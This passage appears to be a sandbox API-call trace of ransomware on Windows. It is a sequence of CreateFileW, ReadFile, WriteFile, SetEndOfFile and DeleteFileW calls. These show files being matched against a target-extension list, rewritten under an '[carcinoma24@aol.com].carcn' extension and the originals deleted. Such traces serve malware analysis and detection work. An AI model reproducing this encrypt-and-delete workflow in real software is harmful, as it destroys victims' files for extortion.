(lpString=".ppt") returned 4 [0299.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.569] lstrlenW (lpString=".zip") returned 4 [0299.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.569] lstrlenW (lpString=".rar") returned 4 [0299.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".bz2") returned 4 [0299.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString=".7z") returned 3 [0299.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.570] lstrlenW (lpString=".dbf") returned 4 [0299.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.570] lstrlenW (lpString=".1cd") returned 4 [0299.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.570] lstrlenW (lpString=".jpg") returned 4 [0299.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.570] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.570] lstrlenW (lpString="DD00121_.WMF") returned 12 [0299.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.571] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8256) returned 1 [0299.571] CloseHandle (hObject=0x380) returned 1 [0299.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0299.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.571] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.571] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0299.572] GetLastError () returned 0x0 [0299.572] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2040, lpOverlapped=0x0) returned 1 [0299.573] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2050, lpOverlapped=0x0) returned 1 [0299.574] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.574] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.574] SetEndOfFile (hFile=0x36c) returned 1 [0299.575] CloseHandle (hObject=0x36c) returned 1 [0299.575] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.575] SetEndOfFile (hFile=0x380) returned 1 [0299.576] CloseHandle (hObject=0x380) returned 1 [0299.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0299.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.577] lstrlenW (lpString=".doc") returned 4 [0299.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString=".docx") returned 5 [0299.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.577] lstrlenW (lpString=".pdf") returned 4 [0299.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString=".xls") returned 4 [0299.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.577] lstrlenW (lpString=".xlsx") returned 5 [0299.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.577] lstrlenW (lpString=".ppt") returned 4 [0299.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.577] lstrlenW (lpString=".zip") returned 4 [0299.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.577] lstrlenW (lpString=".rar") returned 4 [0299.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString=".bz2") returned 4 [0299.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString=".7z") returned 3 [0299.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.577] lstrlenW (lpString=".dbf") returned 4 [0299.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.577] lstrlenW (lpString=".1cd") returned 4 [0299.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.578] lstrlenW (lpString=".jpg") returned 4 [0299.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.578] lstrlenW (lpString=".doc") returned 4 [0299.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString=".docx") returned 5 [0299.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.578] lstrlenW (lpString=".pdf") returned 4 [0299.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString=".xls") returned 4 [0299.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.578] lstrlenW (lpString=".xlsx") returned 5 [0299.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.578] lstrlenW (lpString=".ppt") returned 4 [0299.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.578] lstrlenW (lpString=".zip") returned 4 [0299.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.578] lstrlenW (lpString=".rar") returned 4 [0299.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString=".bz2") returned 4 [0299.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.578] lstrlenW (lpString=".7z") returned 3 [0299.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.578] lstrlenW (lpString=".dbf") returned 4 [0299.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.579] lstrlenW (lpString=".1cd") returned 4 [0299.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0299.579] lstrlenW (lpString=".jpg") returned 4 [0299.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.579] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.579] lstrlenW (lpString="DD00234_.WMF") returned 12 [0299.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.579] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=29628) returned 1 [0299.579] CloseHandle (hObject=0x380) returned 1 [0299.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0299.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.580] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.580] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0299.581] GetLastError () returned 0x0 [0299.581] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x73bc, lpOverlapped=0x0) returned 1 [0299.582] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x73c0, lpOverlapped=0x0) returned 1 [0299.583] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.583] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.583] SetEndOfFile (hFile=0x36c) returned 1 [0299.584] CloseHandle (hObject=0x36c) returned 1 [0299.584] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.584] SetEndOfFile (hFile=0x380) returned 1 [0299.585] CloseHandle (hObject=0x380) returned 1 [0299.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0299.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.586] lstrlenW (lpString=".doc") returned 4 [0299.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.586] lstrlenW (lpString=".docx") returned 5 [0299.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.586] lstrlenW (lpString=".pdf") returned 4 [0299.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.586] lstrlenW (lpString=".xls") returned 4 [0299.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.586] lstrlenW (lpString=".xlsx") returned 5 [0299.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.586] lstrlenW (lpString=".ppt") returned 4 [0299.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.586] lstrlenW (lpString=".zip") returned 4 [0299.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.586] lstrlenW (lpString=".rar") returned 4 [0299.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.586] lstrlenW (lpString=".bz2") returned 4 [0299.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString=".7z") returned 3 [0299.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString=".dbf") returned 4 [0299.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString=".1cd") returned 4 [0299.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString=".jpg") returned 4 [0299.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString=".doc") returned 4 [0299.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString=".docx") returned 5 [0299.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.587] lstrlenW (lpString=".pdf") returned 4 [0299.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString=".xls") returned 4 [0299.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.587] lstrlenW (lpString=".xlsx") returned 5 [0299.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.587] lstrlenW (lpString=".ppt") returned 4 [0299.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.587] lstrlenW (lpString=".zip") returned 4 [0299.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.588] lstrlenW (lpString=".rar") returned 4 [0299.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString=".bz2") returned 4 [0299.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString=".7z") returned 3 [0299.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.588] lstrlenW (lpString=".dbf") returned 4 [0299.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.588] lstrlenW (lpString=".1cd") returned 4 [0299.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0299.588] lstrlenW (lpString=".jpg") returned 4 [0299.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.588] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.588] lstrlenW (lpString="DD00255_.WMF") returned 12 [0299.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.589] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2690) returned 1 [0299.589] CloseHandle (hObject=0x380) returned 1 [0299.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0299.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.589] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.589] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0299.591] GetLastError () returned 0x0 [0299.591] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xa82, lpOverlapped=0x0) returned 1 [0299.592] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xa90, lpOverlapped=0x0) returned 1 [0299.593] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.593] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.594] SetEndOfFile (hFile=0x36c) returned 1 [0299.594] CloseHandle (hObject=0x36c) returned 1 [0299.594] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.594] SetEndOfFile (hFile=0x380) returned 1 [0299.595] CloseHandle (hObject=0x380) returned 1 [0299.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0299.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.596] lstrlenW (lpString=".doc") returned 4 [0299.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString=".docx") returned 5 [0299.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.596] lstrlenW (lpString=".pdf") returned 4 [0299.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString=".xls") returned 4 [0299.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.596] lstrlenW (lpString=".xlsx") returned 5 [0299.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.596] lstrlenW (lpString=".ppt") returned 4 [0299.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.596] lstrlenW (lpString=".zip") returned 4 [0299.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.596] lstrlenW (lpString=".rar") returned 4 [0299.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString=".bz2") returned 4 [0299.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString=".7z") returned 3 [0299.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.596] lstrlenW (lpString=".dbf") returned 4 [0299.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.596] lstrlenW (lpString=".1cd") returned 4 [0299.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.597] lstrlenW (lpString=".jpg") returned 4 [0299.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.597] lstrlenW (lpString=".doc") returned 4 [0299.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString=".docx") returned 5 [0299.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.597] lstrlenW (lpString=".pdf") returned 4 [0299.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString=".xls") returned 4 [0299.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.597] lstrlenW (lpString=".xlsx") returned 5 [0299.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.597] lstrlenW (lpString=".ppt") returned 4 [0299.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.597] lstrlenW (lpString=".zip") returned 4 [0299.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.597] lstrlenW (lpString=".rar") returned 4 [0299.597] lstrcmpiW (lpString1=".rar", 